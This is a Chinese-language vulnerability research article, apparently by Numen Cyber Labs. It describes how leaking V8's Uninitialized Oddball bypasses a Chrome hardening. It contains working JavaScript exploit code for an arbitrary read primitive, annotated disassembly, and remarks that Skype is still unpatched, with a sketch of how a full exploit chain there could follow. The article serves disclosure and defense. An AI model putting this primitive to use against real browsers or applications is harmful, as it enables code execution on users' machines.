前言
Sentinel value(又名flag value/trip value/rogue value/signal value/dummy data)是算法中的一个特殊值,通常在循环或递归算法中作为终止条件的特殊值存在。Chrome源码中有很多Sentinel value。from-leaking-thehole-to-chrome-renderer-rce和TheHole New World – how a small leak will sink a great browser (CVE-2021-38003)中,都介绍了如何通过泄露TheHole对象实现CVE-2021-38003和CVE-2022–1364的沙箱内任意代码执行。在我们发文阐述该缓解绕过大概一周后,谷歌团队也迅速把这两个在野CVE同步更新到了github上。时间节点如下:
我们从Chrome源码中可以看到对TheHole对象导致任意代码执行的缓解修复。但实际上,除了TheHole对象外,v8中还有很多其他的原生对象,不应该泄漏到JS中。本文要讨论的对象是:Uninitialized Oddball,该绕过方法的完整代码最先出现在Issue1352549中,由Project0成员tiszka在exp中完整给出,值得一提的是,目前该方法目前仍可用于最新版V8,谷歌尚未针对该缓解绕过进行修复。
为引起厂商注意,这里我们不得不提一下该方法的通用性:
01-glazunov在提交Issue1216437(CVE-2021-30551)中首先给出的poc便是泄露internal uninitialized oddball,虽然第二个poc给出是类型混淆,但是结合本文方法仅有第一个poc即可轻松完成RCE;
02-Issue1314616(CVE-2022-1486)中,p0成员btiszka在给出的poc中也是直接泄露UninitializedOddball,虽然当时从泄漏UninitializedOddball到RCE的利用尚未完全清晰,但也足以说明安全问题,作者在Issue中如下陈述:
“Exploitability Notes: Currently, I’m not sure if this primitive can lead to more than an infoleak. Exploitation is not as straightforward as …”
03-Issue1352549(NoCVE) 请注意该PatchGap的影响!
我相信这三点就足以给我们充分的理由去复核下可能受PatchGap影响的软件。截至目前,Skype尚未修复该漏洞。
Sentinel value in V8
我们可以在文件v8/src/roots/roots.h中看到v8的大部分原生对象。这些对象在内存中依次相邻排布。
/* Oddballs */ Offset
V(Oddball, uninitialized_value, UninitializedValue) 0138
V(Oddball, the_hole_value, TheHoleValue) 0148
V(Oddball, arguments_marker, ArgumentsMarker) 0218
V(Oddball, exception, Exception) %DebugPrint() crash 0220
V(Oddball, termination_exception, TerminationException) 0228
V(Oddball, optimized_out, OptimizedOut) 0230
V(Oddball, stale_register, StaleRegister) 0238
漏洞触发后,一旦将不应该泄露到Javascript中的原生对象泄露了出去,即可实现沙箱内任意代码执行。上一篇文章中TheHole对象的泄露也恰好说明了该问题。这里我们也再次重申,该方法在最新版V8中尚未修复。
为了在最新版V8中验证该方法,我们可以通过修改v8的native函数,将Uninitialized Oddball泄漏到JavaScript中,这里我们直接对%TheHole()函数中相对isolate偏移(索引)进行修改即可实现返回值为Uninitialized Oddball。ida对Runtime_TheHole函数反编译后代码如下所示:
v8::internal::Address v8::internal::Runtime_TheHole(int args_length, v8::internal::Address *args_object, v8::internal::Isolate *isolate)
push rbp
mov rbp, rsp
lea rax, v8::internal::V8HeapCompressionScheme::base_
mov eax, [rax]
test eax, eax
jnz short loc_9B2ABA
mov rax, [isolate+148h] ;;修改148h为138h
pop rbp
retn
调用%DebugPrint(%TheHole())如下输出所示:
$ ./d8 --expose-gc --allow-natives-syntax /home/avboy/Desktop/poc.js
0x210400002371 <Odd Oddball: uninitialized>
Bypass HardenType
该方法在Issue1352549中直接给出了所有源码,我们直接对其进行提取和简化即可,如下代码所示:
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.u64 = new BigUint64Array(this.buf);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
gc();
}
f2big(f) {
this.f64[0] = f;
return this.u64[0];
}
fhi(f) {
this.f64[0] = f;
return this.u32[1];
}
flow(f) {
this.f64[0] = f;
return this.u32[0];
}
}
function UninitializedOddballExploiter(uninitialized_oddball) {
var h = new Helpers();
let arr = new Array(0x1000000);
arr[0] = 1.1; arr.a = 1.1;
let exp1 = { prop: uninitialized_oddball };
let exp2 = { prop: { read_arr: arr } };
let read = (object, index) => { return object.prop.read_arr[index]; };
% PrepareFunctionForOptimization(read);
read(exp2, 0);
% OptimizeFunctionOnNextCall(read);
const old_space = 0x200000;//0x200000
let start_offset = Math.floor(old_space / 8) + 3;
for (var i = start_offset; i < start_offset + 0x6b000; i++) {
let real_offset = i - 2;
let hi = read(exp1, real_offset);
let lo = read(exp1, real_offset - 1);
let result = (BigInt(h.flow(hi)) << 32n) + (BigInt(h.fhi(lo)));
console.log("result:" + result.toString(16));
readline();
}
}
UninitializedOddballExploiter(%TheHole());//注意对%TheHole()做patch
我们对上述代码在v8-11.0.0中测试,当%TheHole()返回UninitializedOddball时,仍旧可以实现相对任意读。
./d8 --expose-gc --allow-natives-syntax --print-opt-code --print-opt-code-filter=read --trace-turbo /home/avboy/Desktop/poc2.js
对优化后的JavaScript的read函数去掉Prologue,留下关键反汇编如下所示:
0x558b20004069 29 488b4d18 REX.W movq rcx,[rbp+0x18]
0x558b2000406d 2d f6c101 testb rcx,0x1 ;; check if rcx(ie. obj, the 1st arg of function) is 'Smi'
0x558b20004070 30 0f842e020000 jz 0x558b200042a4 <+0x264> ;; deopt reason 'Smi'
0x558b20004076 36 41b831cd1900 movl r8,0x19cd31 ;; (compressed) object: 0x17140019cd31 <Map[16](HOLEY_ELEMENTS)>
0x558b2000407c 3c 443941ff cmpl [rcx-0x1],r8 ;; check the map(r8=0x19cd31 is the map of obj)
;; here we check the map of obj, but we did not check the value of key(ie. obj.prop)
;; and if we make the value of key to be uninitialized_oddball, there is the bypass
0x558b20004080 40 0f8522020000 jnz 0x558b200042a8 <+0x268> ;; deopt reason 'wrong map'
0x558b20004086 46 448b410b movl r8,[rcx+0xb] ;; *(addr(obj)+0xb) -> r8
0x558b2000408a 4a 478b44060b movl r8,[r14+r8*1+0xb] ;; r14 is high addr
0x558b2000408f 4f 4d03c6 REX.W addq r8,r14 ;; r8 -> [String] in ReadOnlySpace: #uninitialized
0x558b20004092 52 458b4807 movl r9,[r8+0x7] ;;
0x558b20004096 56 4d03ce REX.W addq r9,r14 ;; r9 -> 0x2eb90000000d
0x558b20004099 59 458b400b movl r8,[r8+0xb] ;;
0x558b2000409d 5d 488b7d20 REX.W movq rdi,[rbp+0x20] ;; rdi is index of arr, the 2nd arg of function
0x558b200040a1 61 40f6c701 testb rdi,0x1 ;; check if rdi is 'Smi'
0x558b200040a5 65 0f85da000000 jnz 0x558b20004185 B5 <+0x145> ;; if rdi is not 'Smi', JMP
0x558b200040ab 6b 4c63df REX.W movsxlq r11,rdi ;;
0x558b200040ae 6e 49d1fb REX.W sarq r11, 1 ;; r11/2, because 'Smi' stored as 'Smi'*2 in Memory
0x558b200040b1 71 4d63c0 REX.W movsxlq r8,r8
0x558b200040b4 74 49d1f8 REX.W sarq r8, 1
0x558b200040b7 77 4d3bd8 REX.W cmpq r11,r8 ;; r11 = 0x40002,real_offset as the index of arr
0x558b200040ba 7a 0f83ec010000 jnc 0x558b200042ac <+0x26c> ;; deopt reason 'out of bounds'
0x558b200040c0 80 c4817b1044d907 vmovsd xmm0,[r9+r11*8+0x7] ;; move double float value to xmm0
0x558b200040c7 87 c5f92ec0 vucomisd xmm0,xmm0 ;; Compare float value and Set EFLAGS
0x558b200040cb 8b 0f8a88010000 jpe 0x558b20004259 B9 <+0x219> ;; jpe(Jump if parity even)
0x558b200040d1 91 0f8582010000 jnz 0x558b20004259 B9 <+0x219> ;; jnz(Jump if not zero)
在0x558b2000407c处,检查了read函数的obj,确定其prop属性正确,但没有检查以obj.prop为key的Value,而是直接按照JavaScript语义计算偏移,求取数组的数值。如此导致我们在计算的时造成类型混淆,实现任意读。
如上汇编所示,当我们传入uninitialized_oddball时,从0x558b20004086开始以obj为起点计算,最终在vmovsd xmm0,[r9+r11*8+0x7]
指令中完成任意读,数据保存在xmm0寄存器中。类似TheHole对象,由于uninitialized_oddball在v8内存中排序靠前,且对象内容更加原始,伪造更加容易,在TheHole缓解绕过修复后,该方法不失为绕过首选。同理,任意写我们可以参考Issue1352549进行构造分析。由于原理雷同,这里不再赘述。
这里修复建议是,对优化后的函数返回数组元素时,添加对数组map的检查,避免直接计算偏移返回数组数值。
PatchGap Alert
在我们谈论PatchGap时,实际上我们不仅仅需要关注曾经出现的历史漏洞,我们还要关注厂商在基础组件中悄悄修复的漏洞。对Issue1352549分析后,我们迅速排查了可能存在PatchGap的软件,这里不得不指出,截至目前Skype仍旧没有对该漏洞进行修复。在x86下任意读写会稍有不同。x64下由于存在地址压缩,在tuborgfun优化javascript生成的代码中,v8会默认将基址加上。x86由于没有基址,因此任意读写是直接相对于整个进程的。如下汇编所示:
0x3979b8ff 3f 8b790b mov edi,[ecx+0xb]
0x3979b902 42 8b7f0b mov edi,[edi+0xb]
0x3979b905 45 8b4707 mov eax,[edi+0x7] ;; eax will be a fixed number
0x3979b908 48 8b7f0b mov edi,[edi+0xb]
0x3979b90b 4b 8b5510 mov edx,[ebp+0x10]
0x3979b90e 4e f6c201 test_b dl,0x1
0x3979b911 51 0f85b6000000 jnz 0x3979b9cd <+0x10d>
0x3979b917 57 89d6 mov esi,edx
0x3979b919 59 d1fe sar esi,1 ;; esi is index
0x3979b91b 5b d1ff sar edi,1 ;; 0x3734b73a
0x3979b91d 5d 3bf7 cmp esi,edi
0x3979b91f 5f 0f838e010000 jnc 0x3979bab3 <+0x1f3> ;; deopt reason 'out of bounds'
0x3979b925 65 c5fb104cf007 vmovsd xmm1,xmm0,[eax+esi*8+0x7] ;;
如上所示,esi为任意读数组的索引,eax为固定值,edi为”out of bounds”检测的数值,实际上调试时我们可以看到,edi为一个很大的数值,远超过声明时数组的最大范围。
因此,在edi范围内,可以任意读写。在具体做skype的exp时,虽然此时我们没有地址压缩带来内存读写的便利,且skype开启了aslr。但由于该文件太大,直接放在4GB内存中,黑客只需要对某个固定地址进行读写,便可以一个极大的概率读写skype文件中的内容。结合PE解析等传统思路,不难完成整个漏洞利用链。基于此,我们无法保证黑客不能在短时间内完成整个利用链的适配。
这次PatchGap实际上不止需要排查Issue1352549,由于一个新的绕过方法的公开,直接导致了类似Issue1314616和Issue1216437的利用难度大幅度降低,黑客几乎不需要花费任何研究成本,即可实现以往任何泄露uninitialized_oddball漏洞的完整利用,包括谷歌cluster fuzz提交的所有Issue中类似的漏洞。
总结
本文仅抛砖引玉,粗略来谈通过泄露Sentinel value中的uninitialized_Oddball来实现任意读原语。如第二部分所示,v8中的Sentinel value还有很多,实际上我们在测试Sentinel value的时候,也会经常容易遇到崩溃,不乏有非int3的崩溃出现。由于Uninitialized_Oddball和TheHole均已被证明可以在v8中实现环节绕过,我们有充分的理由怀疑其他Sentinel value也可能导致类似问题。
这也给我们一点提示:
01-其他uninitialized_Oddball泄露是否会轻松实现v8的RCE;
02-我们已经看到,谷歌会迅速将TheHole绕过进行修复,我们也看到利用垃圾回收实现ASLR绕过被长期搁置。这说明类似issue仍处在一个模糊边界,即是否被正式当作安全问题对待。
03-如果02中的问题被当作正式安全问题对待,那么在fuzzer中是否有必要考虑将%TheHole/uninitialized_Oddball等Sentinel value作为变量加入,来挖掘其他利用原语;
这里不得不强调的是,无论该类问题是否被正式当作安全问题对待,它都会大大缩减黑客实现完整利用周期。
参考资料
https://bugs.chromium.org/p/chromium/issues/detail?id=1314616
https://bugs.chromium.org/p/chromium/issues/detail?id=1352549
https://bugs.chromium.org/p/chromium/issues/detail?id=1216437
https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/
NUMEN实验室致力于对Web3生态安全保驾护航。
原文始发于微信公众号(Numen Cyber Labs):独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect